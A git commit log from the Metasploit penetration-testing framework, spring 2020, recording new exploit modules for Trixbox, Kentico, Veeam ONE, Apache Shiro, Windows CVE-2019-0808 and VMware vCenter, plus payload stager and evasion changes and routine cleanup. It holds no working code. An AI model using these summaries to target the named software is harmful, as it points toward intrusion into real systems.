
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

final final final
2020-05-05 10:53:08 -05:00
Alan Foster 59fb891806 Land #13396, remove ruby 2.7.x ruby warnings from msfvenom 2020-05-05 15:21:24 +01:00
dwelch-r7 b05d01f39b silence warnings for all users 2020-05-05 12:34:44 +01:00
Pedro Ribeiro 9fe684e5d5 break into smaller chunks 2020-05-05 10:15:55 +07:00
Pedro Ribeiro 5651f4ae75 break into small chunks 2020-05-05 10:01:40 +07:00
Metasploit eaa9904676 automatic module_metadata_base.json update 2020-05-04 16:23:04 -05:00
gwillcox-r7 d2b196f172 Land #13353, Trixbox CE endpoint_devicemap.php Authenticated RCE 2020-05-04 16:11:05 -05:00
Anastasios Stasinopoulos 18ebf5efa6 Trixbox CE <= v2.8.0.4 Authenticated RCE
This module exploits a post-authentication OS command injection vulnerability found in Trixbox CE <= v2.8.0.4 which may allow arbitrary command execution on the underlying operating system.
2020-05-04 15:58:38 -05:00
Alan Foster d5ca2e54bb Fix ruby 2.7 rex http client warnings 2020-05-04 19:32:16 +01:00
Shelby Pace 587fc0ff09 add PoC 2020-05-04 11:08:38 -05:00
Shelby Pace 1851f4bc3c add documented object 2020-05-04 10:34:15 -05:00
Adam Galway f5a432d328 Land #13313, warn users to change RPORT with SSL 2020-05-04 15:45:07 +01:00
Spencer McIntyre 30b17c6323 Remove some whitespace for msftidy compliance 2020-05-04 10:14:00 -04:00
Spencer McIntyre 7fb17ecf17 Update some module metadata for the Kentico RCE exploit 2020-05-04 10:12:21 -04:00
Spencer McIntyre c128a3ba92 Add CmdStager and Powershell targets to the Kentico RCE exploit 2020-05-04 10:07:10 -04:00
Spencer McIntyre 7c35cb9ee6 Do not URI encode library names in the .NET SOAP formatter 2020-05-04 09:40:36 -04:00
Patrick Webster 626b9be63c Update kentico_staging_syncserver.md 2020-05-04 09:26:14 -04:00
Patrick Webster 60b83d536e Update modules/exploits/windows/http/kentico_staging_syncserver.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-05-04 09:26:14 -04:00
Patrick Webster c5adcbfd43 Update modules/exploits/windows/http/kentico_staging_syncserver.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-05-04 09:26:13 -04:00
Patrick Webster 0679f1b317 Update modules/exploits/windows/http/kentico_staging_syncserver.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-05-04 09:26:13 -04:00
Patrick Webster affc745ed5 Update documentation/modules/exploit/windows/http/kentico_staging_syncserver.md
Typo

Co-Authored-By: bcoles <bcoles@gmail.com>
2020-05-04 09:26:13 -04:00
Patrick Webster 376c61bc46 Added exploit module kentico_staging_syncserver. 2020-05-04 09:26:13 -04:00
Brent Cook 0bca86b10d add new paths from Joris van de Vis 2020-05-04 06:27:02 -05:00
Brent Cook 0622eff907 remove duplicates 2020-05-04 06:23:55 -05:00
Brent Cook caf863b380 sort and normalize list 2020-05-04 06:15:11 -05:00
Tim W b991042c4a add base64 encoding stub 2020-05-04 15:43:40 +08:00
Tim W 2b8568b487 fix #10181, add error when an android stageless payload is used with apk injection 2020-05-04 15:36:20 +08:00
Tim W f2752eab00 add win32k revision check to check method 2020-05-04 15:04:43 +08:00
Metasploit 040f0d12cd automatic module_metadata_base.json update 2020-05-03 21:41:33 -05:00
gwillcox-r7 a5e6e12715 Land #13380, Fix typos and RuboCop errors in unicode and alphanum encoders 2020-05-03 21:30:00 -05:00
gwillcox-r7 c367258826 Remove static off variable, inline its 0 declariation 2020-05-03 20:37:13 -05:00
gwillcox-r7 1d3f0be495 RuboCop unicode_upper.rb and unicode_mixed.rb 2020-05-02 21:51:05 -05:00
gwillcox-r7 9501ec0b1b RuboCop alpanum.rb code 2020-05-02 21:48:31 -05:00
gwillcox-r7 123d33679a Fix Unicode encoders to meet RuboCop standards 2020-05-02 21:36:10 -05:00
gwillcox-r7 60ac7773d6 Fix up typo and some double quote RuboCop issues 2020-05-02 21:16:08 -05:00
William Vu 41718a6f71 Fix up Alan's patch to detect a changed value 2020-05-02 19:59:36 -05:00
wvu-r7 5faf446a38 Warn when the SSL value changes
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2020-05-02 19:59:36 -05:00
William Vu 35016713d4 Warn the user to set RPORT if SSL is enabled 2020-05-02 19:59:36 -05:00
Metasploit b52a7f237d automatic module_metadata_base.json update 2020-05-02 18:11:56 -05:00
gwillcox-r7 a02856ee76 Land #13375, Require BufferRegister for x86 unicode encoders 2020-05-02 18:00:20 -05:00
Paolo 'VoidSec' Stagno 5db675a683 changed in OptString 2020-05-02 15:14:38 +02:00
gwillcox-r7 778a66191a Land #13373, Improvements to "No DB Connected" error message 2020-05-01 15:39:59 -05:00
Metasploit dd5bd6cb9a automatic module_metadata_base.json update 2020-05-01 15:31:39 -05:00
Spencer McIntyre e754c19799 Land #13327, Add Veeam ONE Agent .NET deserialization RCE (CVE-2020-10915) 2020-05-01 16:20:57 -04:00
Metasploit 8a025f1b58 automatic module_metadata_base.json update 2020-05-01 13:59:54 -05:00
bwatters-r7 a0213a13f0 Land #13279, Some fix for rubocop verification
Merge branch 'land-13279' into upstream-master
2020-05-01 13:49:14 -05:00
bwatters-r7 ec656ea68c Minor code and document cleanup 2020-05-01 13:47:17 -05:00
gwillcox-r7 2ad58cf20c Land #13376, Add rspec test for reverse_tcp_uid stager 2020-05-01 13:12:26 -05:00
William Vu 0bcc473ded Rename option to HOSTINFO_NAME and update doc 2020-05-01 12:59:01 -05:00
William Vu 39fb1c2d07 Update rex-exploitation to 0.1.24 for CmdStager 2020-05-01 12:31:56 -05:00
William Vu c27269105e Rename CmdStager to psh_invokewebrequest 2020-05-01 12:31:53 -05:00
William Vu 1364b08c4f Make host info name configurable as an option
Though it has to be recognized by the server.
2020-05-01 12:19:12 -05:00
William Vu 96f802585a Update dropper payload to stageless
We're using Invoke-WebRequest now. Or anything similar.
2020-05-01 12:19:12 -05:00
William Vu b2355568f8 Update module doc 2020-05-01 12:19:12 -05:00
William Vu 9adaa08ddd Use new PowerShell Invoke-WebRequest CmdStager 2020-05-01 12:19:12 -05:00
William Vu 9bfecbc2aa Print the responses if found but don't bail
The responses aren't always in sync, causing unexpected failures.
2020-05-01 12:19:12 -05:00
William Vu bb034acd7c Note reason for SERVICE_RESOURCE_LOSS 2020-05-01 12:19:12 -05:00
William Vu 309475259a Remove doubled-up command prefix from dropper
The library prefixes "cmd /c" automatically.
2020-05-01 12:19:12 -05:00
William Vu 84061881b8 Clarify module description 2020-05-01 12:19:12 -05:00
William Vu 9d601b50c2 Note how we trigger the deserialization vuln 2020-05-01 12:19:12 -05:00
William Vu 64f4cb7e41 Add module doc 2020-05-01 12:19:12 -05:00
William Vu efab4f04f7 Add Veeam ONE Agent .NET deserialization exploit 2020-05-01 12:19:12 -05:00
Jeffrey Martin e5be9ee9ef add test for reverse_tcp_uuid stager with osx 2020-05-01 11:20:20 -05:00
Metasploit f516957ba1 automatic module_metadata_base.json update 2020-05-01 10:29:31 -05:00
bwatters-r7 686c2f09a1 Land #13290, Cve-2014-2630 HP xglance-bin linux priv esc
Merge branch 'land-13290' into upstream-master
2020-05-01 10:18:21 -05:00
Paolo 'VoidSec' Stagno aeebe6e0f1 fixing text description 2020-05-01 16:48:43 +02:00
Paolo 'VoidSec' Stagno 90304c5ced Unicode Encoders, 'Buffer Register' fixes
https://github.com/rapid7/metasploit-framework/issues/13372
2020-05-01 16:41:30 +02:00
Pedro Ribeiro dcf9dc1189 add full disclosure URL 2020-05-01 21:02:32 +07:00
Pedro Ribeiro 9020e2e391 add full disclosure url 2020-05-01 21:01:26 +07:00
Pedro Ribeiro dbceec91af add full disclosure URL 2020-05-01 21:00:49 +07:00
Metasploit 07f83ac144 automatic module_metadata_base.json update 2020-05-01 08:46:13 -05:00
Brendan Coles 5b009e8846 Land #13342, Update pax_installed? to use /proc/self/status 2020-05-01 13:54:13 +00:00
HacKurx 5630b36d5f Update PaX detection
The use of paxctld makes paxctl unnecessary.
2020-05-01 13:54:08 +00:00
cn-kali-team eb39c14a53 Fix Events rest api Encoding 2020-05-01 21:45:38 +08:00
Spencer McIntyre 53359a5b4c Land #13325, Expand Environment Variables In Meterpreter's ls Command
Fixes #13318
2020-05-01 09:04:19 -04:00
Adam Galway a53a1520c1 add setup guide link to db connection error msg 2020-05-01 12:22:58 +01:00
Tim W b8dc843b48 add binary 2020-05-01 19:02:54 +08:00
Tim W 27147aa23b add error checking to VirtualAlloc 2020-05-01 19:02:21 +08:00
Tim W bcf9449b29 add basic check method 2020-05-01 19:02:21 +08:00
Metasploit 3a6a32b6d6 automatic module_metadata_base.json update 2020-05-01 05:15:03 -05:00
William Vu b2eced71a0 Land #13371, stageless payload change for ThinkPHP 2020-05-01 04:57:08 -05:00
William Vu 4d635cdcfc Update module doc 2020-05-01 04:28:17 -05:00
William Vu b681476ce6 Use stageless payload with HTTP command stager
This needed to be updated with #13242.
2020-05-01 04:23:44 -05:00
Pedro Ribeiro 8e20cf94be got me refs wrong m8 2020-05-01 13:48:02 +07:00
Pedro Ribeiro 4b6ef4cb9e fix spaces at eol 2020-05-01 13:30:22 +07:00
Pedro Ribeiro 37eecbc01f fix eol spaces 2020-05-01 13:29:50 +07:00
Pedro Ribeiro 9d09b3a250 add cve 2020-05-01 10:18:26 +07:00
Pedro Ribeiro fc50e21251 add cve 2020-05-01 10:17:57 +07:00
Pedro Ribeiro af88fae6f3 add CVE 2020-05-01 10:17:17 +07:00
bwatters-r7 417e3427b3 Change to cmd_exec for cleanup and warn about post-exploitation manual cleanup 2020-04-30 18:53:56 -05:00
cn-kali-team bea51d9d9a Using PATH_EXPAND_REGEX 2020-05-01 07:18:47 +08:00
Spencer McIntyre 1134ac69a0 Add missing newline to the ysoserial/dot_net tool 2020-04-30 16:45:38 -04:00
Metasploit 6f73604183 Bump version of framework to 5.0.88 2020-04-30 12:06:57 -05:00
bwatters-r7 01f1cfd188 Update documentation with note about prior windows versions 2020-04-30 09:37:52 -05:00
gwillcox-r7 bc46159a01 Land #13363, Fix reverse http/https meterpreter URI.decode depreciation error 2020-04-30 09:32:50 -05:00
Alan Foster 57b7f8995f Surface developer provided exception messages to users 2020-04-30 14:56:55 +01:00
bwatters-r7 717223e1a9 One more fix... 2020-04-30 08:09:15 -05:00
bwatters-r7 3132115d49 Fix typos 2020-04-30 07:55:37 -05:00
bwatters-r7 35913c829e add mkdir and other suggested fixes 2020-04-30 07:47:57 -05:00
Spencer McIntyre b38648db12 Only fail on fatal XML syntax errors for the SoapFormatter
The library name in the XML needs to contain a space so it is not a valid URI.
2020-04-30 08:40:31 -04:00
Tim W 8e9a162b1b fix 2020-04-30 18:05:00 +08:00
Tim W ea22e34b9c fix description 2020-04-30 17:51:28 +08:00
Tim W 8f12e005ea check VirtualAlloc return value 2020-04-30 17:50:20 +08:00
Tim W 3ca0472b18 fix payload size 2020-04-30 17:47:41 +08:00
Tim W 109f0a01f7 add windows 7 sp1 scenario 2020-04-30 17:19:54 +08:00
Tim W ff0704b316 code review from grant <3 2020-04-30 17:19:54 +08:00
Tim W 7560f7de8c remove changes to other files 2020-04-30 17:19:54 +08:00
Tim W f05b50f54e add documentation for CVE-2019-0808 2020-04-30 17:19:53 +08:00
Tim W 5ed871a110 CVE-2019-0808 2020-04-30 17:19:46 +08:00
OJ ae185d7ef7 Re-add the additional pop call
`pop` blocks the thread. This is important, otherwise CPU SPIKES.
2020-04-30 17:39:12 +10:00
Pedro Ribeiro c581cb390f remove CVE for merge, will add later 2020-04-30 11:16:09 +07:00
Pedro Ribeiro 81b678b271 remove CVE for merge, will add later 2020-04-30 11:15:43 +07:00
Pedro Ribeiro d28a886c51 remove CVE for merge, will add later 2020-04-30 11:15:11 +07:00
Spencer McIntyre 09d2008c20 Show some serialized payload information in the output 2020-04-29 18:02:24 -04:00
Spencer McIntyre 197365b610 Finish up the .NET deserialization tool 2020-04-29 17:50:07 -04:00
bwatters-r7 95a942d855 Add description 2020-04-29 14:44:59 -05:00
Alan Foster fb3c953ff7 Fix uri escape in rex request for reverse http/https meterpreter shells 2020-04-29 20:23:22 +01:00
bwatters-r7 91c317f7b5 Rubocop autocorrect 2020-04-29 11:01:29 -05:00
bwatters-r7 2a7203831c Convert to library 2020-04-29 10:37:20 -05:00
bwatters-r7 219125b393 Credit cdelafuente-r7 2020-04-29 10:35:43 -05:00
bwatters-r7 191044cdad Final fixes and documentation 2020-04-29 10:18:22 -05:00
dwelch-r7 81b978964a Land #13361, Add guard clause to ruby warning suppression 2020-04-29 14:41:27 +01:00
Alan Foster 7aa02ca4af Add guard clause to ruby warning supression 2020-04-29 14:36:08 +01:00
Alan Foster 6c75ced38f Land #13360, turn off Ruby deprecation warnings for users 2020-04-29 12:24:14 +01:00
Tim W beb6edada2 add python-reflection to Msf::Util::Exe 2020-04-29 19:02:00 +08:00
dwelch-r7 0e726b3f38 Turn off warning for all users 2020-04-29 10:56:03 +01:00
gwillcox-r7 2dc26db9e1 Land #13357, Limit ZDI numbers to 4 digits 2020-04-28 20:43:07 -05:00
Spencer McIntyre 0a12522445 Add the initial YSoSerial.NET tool 2020-04-28 20:46:07 -04:00
Josh 68c9cfb593 ZDI Public numbers should be limited to 4 digits
to avoid false negatives per the discussion at #13311
2020-04-28 18:48:10 -05:00
OJ 5dbb9e8ccc Fix packet ordering check
A long time ago prior to supporting both encrypted packets and packet
pivots, a bit of code existing in the packet dispatcher that reordered
packets before passing them on to the internal workings. This reordering
would prioritise responses first, it would put "channel close" messages
at the end, and the rest would go in between. It's a bit gross, but it
is what it is.

The key here is to note that for this ordering to happen, the code needs
to be able to access the packet header (to determine if it's request or
response), and to access the packet body (to get access to the method
and check if it's a channel close message).

When packet encryption came in this wasn't too much of a concern because
the packet decryption could happen as soon as the packet came off the
wire. This meant that both the header and the body were available for
consumption and everything sunshine, daisies and unicorn farts.

ENTER PACKET PIVOTING TO MESS THIS ALL UP!

As we're all fully aware (right?) encryption keys are per-session. So
this means that every session has its own set of keys, and hence to
decrypt a packet we need to make sure we've got the right session. This
was a no brainer before, because sessions read their own packets off
their own transports. But with pivots, that changed because packets
could appear on the transport that were intended for other sessions.

It appeared that the solution here was simple. When a packet is read off
the wire, just read the body in full without decrypting. Check the
session GUID to see if it matches the current session, or to see if it's
inteded for a pivoted session. If it's the latter, then use the pivot
session decryption key, if the former, use the current session's key.
Too easy, right?

Right?

There was an internal function that was invoked to dispatch packets
after the came off the wire, called `dispatch_inbound_packet`. It seemed
to make sense to decrypt the packet here because that was invoked across
the various transports. So code was added at this point to decrypt the
packets based on the appropriate session. Testing was done, things
seemed to work.

Fast forward to last night, where I lost a bunch of hours while working
on something that shouldn't be related. I have been changing the
mechanism used for methods so that we don't use strings, we instead use
identifiers (makes the noise on the wire smaller/less obvious, and
allows us to remove method strings from our payloads). Rather than
attempt to locate all the spots where the method IDs are either
hard-coded or generated, it made more sense to start with functionality
in the `Packet` class that would map between method strings and command
identifiers. In order to catch the case where we had a method string
that we didn't expect, I raise an exception when the method string
doesn't exist in the map of known strings.

This exception was a blessing and a curse. To cut this story a little
shorter, we ended up with the following situation:

* Packets would start coming in and the reader would read the header and
  then decode it so that we could find the size of the packet and read
  the packet body.
* The packet header was then in the clear, but the packet body was yet
  to be decrypted.
* The "prioritisation" hack would run, checking the packet type (which
  is fine because it's in the clear), then the method (which is not
  fine, because it hasn't been decrypted).

Prior to the work I was doing, the method id check would _always fail_
because the method string would come out blank.

After including my work, the exception literally killed the packet
dispatching, resulting in all kinds of horrid woes (such as having all
channels failing).

What this means is that since packet pivots came about, we have not been
correctly pushing channel close messages to the back of the queue before
processing. The result? I don't know! I know that we've had issues
raised against the code saying that packets are coming out of order in
certain cases when channels are in use, but I don't think that's
related. What's clear is that I broke it when I did the packet pivots,
and I've only just realised it now.

So this code is intended to fix the problem and make sure that channel
close messages are pushed to the back like they were before.

At this point, people should be well aware of how easy it is for me to
break things, and therefore revoke my access to anything with
a keyboard.
2020-04-29 09:37:17 +10:00
Metasploit 33b61fb3ca automatic module_metadata_base.json update 2020-04-28 14:46:19 -05:00
Spencer McIntyre 3e51730ae3 Land #11359, Add the shiro_rememberme_v124_deserialize module 2020-04-28 15:35:06 -04:00
Spencer McIntyre 2c61fd0aff Update Apache Shiro RCE module docs 2020-04-28 14:24:17 -04:00
Spencer McIntyre c2fb160c83 Land #13281, Add checks to 'screenshot' command to fix issue #13182 2020-04-28 12:26:32 -04:00
dwelch-r7 779d2cade4 Land #13316, Add missing tag functionality to the RemoteHttpDataService 2020-04-28 15:15:10 +01:00
dwelch-r7 f4dbb2706b Land #13280, Additional label actions 2020-04-28 14:50:02 +01:00
Adam Galway 8e3add3f5f simplifies get host id, renames endpoints & clean 2020-04-28 13:33:54 +01:00
Pedro Ribeiro 75c9cf5c80 Update ibm_drm_download.rb 2020-04-28 14:12:53 +07:00
Pedro Ribeiro e79fa7ca94 Update ibm_drm_rce.rb 2020-04-28 14:12:38 +07:00
Metasploit d459d4076d automatic module_metadata_base.json update 2020-04-28 01:50:09 -05:00
William Vu 2465cf022d Land #13321, Windows/unknown-friendly GatherProof 2020-04-28 01:40:12 -05:00
Metasploit 90c03a5eef automatic module_metadata_base.json update 2020-04-27 21:32:34 -05:00
William Vu 39b045c2be Land #13350, desktopcentral_deserialization update 2020-04-27 21:23:23 -05:00
William Vu e5857d5544 Comments for the comment god 2020-04-27 20:58:39 -05:00
William Vu 3e9f7d5f0a Comment the absolute path prepended to traversal 2020-04-27 20:57:02 -05:00
William Vu f18ec9929b Remove directory traversal prefix altogether 2020-04-27 20:23:29 -05:00
Metasploit d81d810478 automatic module_metadata_base.json update 2020-04-27 17:28:54 -05:00
gwillcox-r7 ceaffa200a Land #13348, Randomize directory for desktopcentral_deserialization and RuboCop it 2020-04-27 17:17:12 -05:00
William Vu 1318faa992 Clarify the quote is from the vendor's advisory 2020-04-27 16:53:34 -05:00
bwatters-r7 117924e41a Break out methods to prepare for shipping to libraries 2020-04-27 16:38:11 -05:00
William Vu cefeb9ffde Randomize dir in desktopcentral_deserialization
Also apply RuboCop.
2020-04-27 16:13:22 -05:00
bwatters-r7 a490fe3c1d Cleanup before breakup 2020-04-27 16:07:45 -05:00
gwillcox-r7 5f997ef814 Land #13340, Fix broken PKS and update link 2020-04-27 15:44:52 -05:00
gwillcox-r7 3da005a92f Land #13347, Remove safe navigation RuboCop rule 2020-04-27 14:51:22 -05:00
William Vu ab210f15f1 chmod +x find_ysoserial_offsets.rb 2020-04-27 12:19:27 -05:00
Alan Foster 81f0607ac3 Remove safe navigation rubocop rule 2020-04-27 18:04:33 +01:00
L daf31a3178 Avoid server load balancing 2020-04-27 10:50:34 -05:00
L 15762f23b4 fixed 2020-04-27 10:50:34 -05:00
L 27c267cb77 fixed 2020-04-27 10:50:34 -05:00
bcoles fb057a3016 fixed
Co-Authored-By: L-codes <20529064+L-codes@users.noreply.github.com>
2020-04-27 10:50:34 -05:00
bcoles 1e7556dd24 fixed
Co-Authored-By: L-codes <20529064+L-codes@users.noreply.github.com>
2020-04-27 10:50:34 -05:00
L d31882fe15 Modify unkown to unknown 2020-04-27 10:50:34 -05:00
bcoles 884d0ca4a2 fixed tools/payloads/ysoserial/find_ysoserial_offsets.rb
Co-Authored-By: L-codes <20529064+L-codes@users.noreply.github.com>
2020-04-27 10:50:33 -05:00
L 64ecd1f95a fixed 2020-04-27 10:50:09 -05:00
L 48ed0ba3c5 Update java_deserialization_spec 2020-04-27 10:50:09 -05:00
L 5732b0f038 fixed 2020-04-27 10:50:09 -05:00
L 645a4c6d26 Remove ysoserial JRMPClient && JRMPListener payload 2020-04-27 10:50:09 -05:00
L f8f90e5b98 Add default payload 2020-04-27 10:50:09 -05:00
L 70ad79dbcc change ip 2020-04-27 10:50:09 -05:00
L 93d9f3d269 Replace <tab> to <space> 2020-04-27 10:50:09 -05:00
L 6835d2cd9f Replace <tab> to space 2020-04-27 10:50:09 -05:00
L 1116635477 fixed 2020-04-27 10:50:09 -05:00
L b283442845 Add shiro_rememberme_v124_deserialize documentation 2020-04-27 10:50:09 -05:00
L 0516f6e5de Add shiro_rememberme_v124_deserialize Module 2020-04-27 10:50:09 -05:00
L 7dc1b8afb4 Update data/ysoserial_payloads.json 2020-04-27 10:50:09 -05:00
L 42d34201d2 fixed lib/msf/util/java_deserialization.rb 2020-04-27 10:49:57 -05:00
L d7768c3476 fixed tools/payloads/ysoserial/find_ysoserial_offsets.rb 2020-04-27 10:49:25 -05:00
L 3bd15cbb81 Replace "ysoserial" string with randomness for evasion 2020-04-27 10:48:54 -05:00
L 7576a9d1c3 Support ysoserial alongside ysoserial-modified payload (including cmd, bash, powershell, none) 2020-04-27 10:48:53 -05:00
L d39b1c911d Fix bug of find_bysoserial_offsets 2020-04-27 10:48:04 -05:00
Metasploit fc164e0c09 automatic module_metadata_base.json update 2020-04-27 06:16:47 -05:00
Christophe De La Fuente af239303d2 Land #13257, .NET Deserialization Library Improvements 2020-04-27 13:05:38 +02:00
HacKurx 9d5c0ec235 Update PaX detection
The use of paxctld makes paxctl unnecessary.
2020-04-26 21:27:06 +02:00
Tod Beardsley ec10216f6b Fix broken link to broken PKS for key verification 2020-04-26 11:12:06 -05:00
Metasploit 64c04464e0 automatic module_metadata_base.json update 2020-04-25 15:48:58 -05:00
gwillcox-r7 c5136b056a Land #13100, Add MeterpreterDebugLevel support and fixes to OSX stager 2020-04-25 15:38:18 -05:00
Metasploit e24be74d5b automatic module_metadata_base.json update 2020-04-25 14:50:22 -05:00
gwillcox-r7 9799ec3e44 Land #13330, Update meterpreter payloads to 1.4.1 2020-04-25 14:38:52 -05:00
Brent Cook 5eb21e4bcb bump to 1.4.1 (no binary change, but why not) 2020-04-25 08:35:01 -05:00
gwillcox-r7 1bec0a9c19 Land #13291, Update outdated example_linux_priv_esc.rb code 2020-04-24 23:07:38 -05:00
Brent Cook bee800034b Update cached payload sizes 2020-04-24 12:02:45 -05:00
Brent Cook 605394a860 bump meterpreter payloads to 1.4.0 (ABI change) 2020-04-24 12:01:02 -05:00
cn-kali-team d703284785 Add filter 2020-04-24 23:33:25 +08:00
Spencer McIntyre a36754034a Land #13328, Add missing plural tense in module docs 2020-04-24 11:23:47 -04:00
Metasploit 455798c38c automatic module_metadata_base.json update 2020-04-24 10:12:00 -05:00
Shelby Pace 640eb77403 Land #13260, add docker wincred module 2020-04-24 10:02:38 -05:00
Shelby Pace 24eeba09e8 typo 2020-04-24 10:01:31 -05:00
Shelby Pace df8d6b7af1 add check for vulnerable path 2020-04-24 09:56:42 -05:00
Metasploit aa25dcf876 automatic module_metadata_base.json update 2020-04-24 09:19:00 -05:00
Grant Willcox 034d0d7270 Add in missing plural tense to f5_mgmt_scanner.md
Forgot to ninja patch this with the last push, sorry @h00die! Lets fix this up quick.
2020-04-24 09:16:41 -05:00
gwillcox-r7 8265759c13 Land #13319, Updates to f5 mgmt module docs and module docs template 2020-04-24 09:08:38 -05:00
Adam Galway d0b66fc28e adds host tag implementation checks 2020-04-24 12:43:12 +01:00
h00die 46d76fa4f0 fix review comments 2020-04-24 06:42:49 -04:00
Adam Galway 34d4835eb9 PRC: improved error handling 2020-04-24 11:27:50 +01:00
Tim W bba9b76d25 fix infinite loop in find_macho
fix osx loader to work within python macho
2020-04-24 15:13:57 +08:00
Tim W 5234d6067c add MeterpreterDebugLevel option for osx meterpreter 2020-04-24 15:13:57 +08:00
cn-kali-team b2e26e232f Fixes #13318 Recursive directory listing 2020-04-24 11:32:47 +08:00
Pedro Ribeiro bf3fff677e and rubocop the file download module too 2020-04-24 10:24:39 +07:00
Pedro Ribeiro 714c750c04 apply rubocop changes 2020-04-24 10:23:13 +07:00
Pedro Ribeiro a29b05c453 add proper check + rubocup changes 2020-04-24 10:20:10 +07:00
bwatters-r7 38092d512e The timeout needs to be very long 2020-04-23 17:56:51 -05:00
h00die 81fab8900e ssh windows and warning 2020-04-23 17:31:50 -04:00
Metasploit 53a4a265a3 automatic module_metadata_base.json update 2020-04-23 16:17:14 -05:00
William Vu 35c170e1aa Land #13315, ssh_login{,_pubkey} GatherProof=true 2020-04-23 16:07:08 -05:00
bwatters-r7 7213d379ec Add Uso dll 2020-04-23 15:18:22 -05:00
bwatters-r7 45eaa4c2f9 add injection with uso loader 2020-04-23 15:17:12 -05:00
Metasploit d171a3109d Bump version of framework to 5.0.87 2020-04-23 12:03:51 -05:00
h00die 9223abc788 module docs 2020-04-23 12:11:25 -04:00
Adam Galway 0bd43096f1 PRC return tags for del & add, simplified DB call 2020-04-23 17:01:32 +01:00
bwatters-r7 e380c63158 Add md5 check on payload 2020-04-23 08:16:21 -05:00
Alan Foster d57d2951aa Apply feedback 2020-04-23 13:30:30 +01:00
h00die 757b39f235 fix some errors 2020-04-23 06:52:05 -04:00
h00die 5dd67af6f1 flip gatherpoof 2020-04-23 05:52:05 -04:00
Tim W 8cff3e0516 add python-reflection to Msf::Util::Exe 2020-04-23 17:47:53 +08:00
William Vu c73ebdcaba Land #13314, #13311 once more with feeling
"Land #13311, ZDI reference update to msftidy"
2020-04-23 00:49:00 -05:00
William Vu 21653f09c2 Fix bad regex in ZDI reference check for msftidy 2020-04-23 00:47:52 -05:00
Metasploit 4ed81825b0 automatic module_metadata_base.json update 2020-04-22 22:10:54 -05:00
gwillcox-r7 c264d83fba Land #13253, Add VMware vCenter Server vmdir Information Disclosure and Authentication Bypass 2020-04-22 21:50:26 -05:00
William Vu 268a07ea86 Address review comments 2020-04-22 21:45:04 -05:00
William Vu 00b28da98c Move username and password check to top of run
Check the options first, since they're unrequired. Missed this.
2020-04-22 20:36:27 -05:00
Metasploit 74f35022b8 automatic module_metadata_base.json update 2020-04-22 19:46:37 -05:00
bwatters-r7 c7670c6594 Land #11967, Add screenshare post module for mouse and keyboard input
Merge branch 'land-11967' into upstream-master
2020-04-22 19:37:09 -05:00
bwatters-r7 1ad9b181a8 Overwrite successful, attempting trigger 2020-04-22 19:22:19 -05:00
bwatters-r7 1c757f90db bcoles suggestions 2020-04-22 18:08:58 -05:00
William Vu ef68c66d31 Persist base_dn value, since the code is stable
I wasn't sure before. We should be able to rely on @base_dn doing the
right thing now. There is no need to check the value every time.

Practically, I think the base DN will always be dc=vsphere,dc=local.
2020-04-22 17:38:12 -05:00
William Vu 0c0de73afa Reformat post-RuboCop code, mostly to 80 columns
Now with more horizontal space!
2020-04-22 17:38:12 -05:00
William Vu 0dc6ac7133 RuboCop for the RuboCop gods 2020-04-22 17:38:12 -05:00
William Vu 6b44f896b7 Fix it again
I think this is what I was going for.
2020-04-22 17:38:12 -05:00
William Vu df5e673cf5 Fix typo 2020-04-22 17:38:12 -05:00
wvu-r7 00949ccfe5 Prefer safe navigation operator with inline block
Makes the expression a little simpler.

Co-Authored-By: bcoles <bcoles@gmail.com>
2020-04-22 17:38:12 -05:00
William Vu b810f44fde Remove ill-fated VMware advice 2020-04-22 17:38:12 -05:00
William Vu 2dccfdd864 Reduce false positives when testing any LDAP 2020-04-22 17:38:12 -05:00
William Vu 7b5200baf4 Correct targets/actions section in module doc
It should really be listed next to options at the same level.
2020-04-22 17:38:12 -05:00
William Vu a4b27c6c5b Add module docs 2020-04-22 17:38:12 -05:00
William Vu d466f269c3 Dump password and lockout policy from LDAP data 2020-04-22 17:38:12 -05:00
William Vu 676ab353ff Rename aux/gather/vmware_vcenter_vmdir{,_ldap} 2020-04-22 17:38:12 -05:00
William Vu 0bacda8117 Use auxiliary/gather/vmware_vcenter_vmdir as check 2020-04-22 17:38:12 -05:00
William Vu 4fadbfb48e Update auxiliary/gather/vmware_vcenter_vmdir
It should return CheckCodes now and the base DN when vulnerable.
2020-04-22 17:38:12 -05:00
William Vu 9d59be8dc6 Add auxiliary/gather/vmware_vcenter_vmdir again 2020-04-22 17:38:11 -05:00
William Vu 9633f5daf4 Exploit an LDAP auth bypass to add an admin user
Thanks to JJ Lehmann and Ofri Ziv of Guardicore Labs for their work.

https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/
2020-04-22 17:38:11 -05:00
William Vu 8b74fd6605 Move discover_base_dn method to mixin 2020-04-22 17:38:11 -05:00
William Vu 88fcf4b9a2 Add and use new LDAP mixin 2020-04-22 17:38:11 -05:00
William Vu 852ba1d36d Add VMware vCenter vmdir info disclosure module 2020-04-22 17:38:11 -05:00
William Vu 371d7464c2 Add net-ldap (Net::LDAP) gem 2020-04-22 17:38:11 -05:00
William Vu ee765517c3 Land #13311, ZDI reference update to msftidy 2020-04-22 17:34:19 -05:00
Metasploit 928c23edf3 automatic module_metadata_base.json update 2020-04-22 16:47:33 -05:00
gwillcox-r7 546333b227 Land #13252, UUID support for OSX x64 reverse_tcp stager 2020-04-22 16:36:10 -05:00
gwillcox-r7 0bd3847cf4 Quick patch to fix the RequiresMidstager values as OSX doesn't use them 2020-04-22 16:34:01 -05:00
Spencer McIntyre 090cf259ee Add some additional unit testing through rspec 2020-04-22 15:53:59 -04:00
Josh 2c80859564 ZDI Public Numbers can be 4 digits, ZDI-19-1045
Also, technically, ZDI Public Numbers will always have a min of 3 digits.
The number is essentially `"num_as_string".ljust(3, '0')`, so this should be {3,4}
or {3,5} if they ever get that high ;) I could find no ZDI- references or similar that
only had 2 digits in the last number part

references:
https://www.zerodayinitiative.com/advisories/ZDI-19-1045/
https://www.zerodayinitiative.com/advisories/ZDI-05-001/
2020-04-22 14:46:21 -05:00
Metasploit 271b04808c automatic module_metadata_base.json update 2020-04-22 11:55:12 -05:00
William Vu b102f2ce9c Land #13308, additional fixes for RuboCop'd code 2020-04-22 11:19:39 -05:00
William Vu 823c29a127 Update post-RuboCop style in my recent modules
Mostly 80 columns (yeah, I know) and additional whitespace to complement
the lack of alignment.
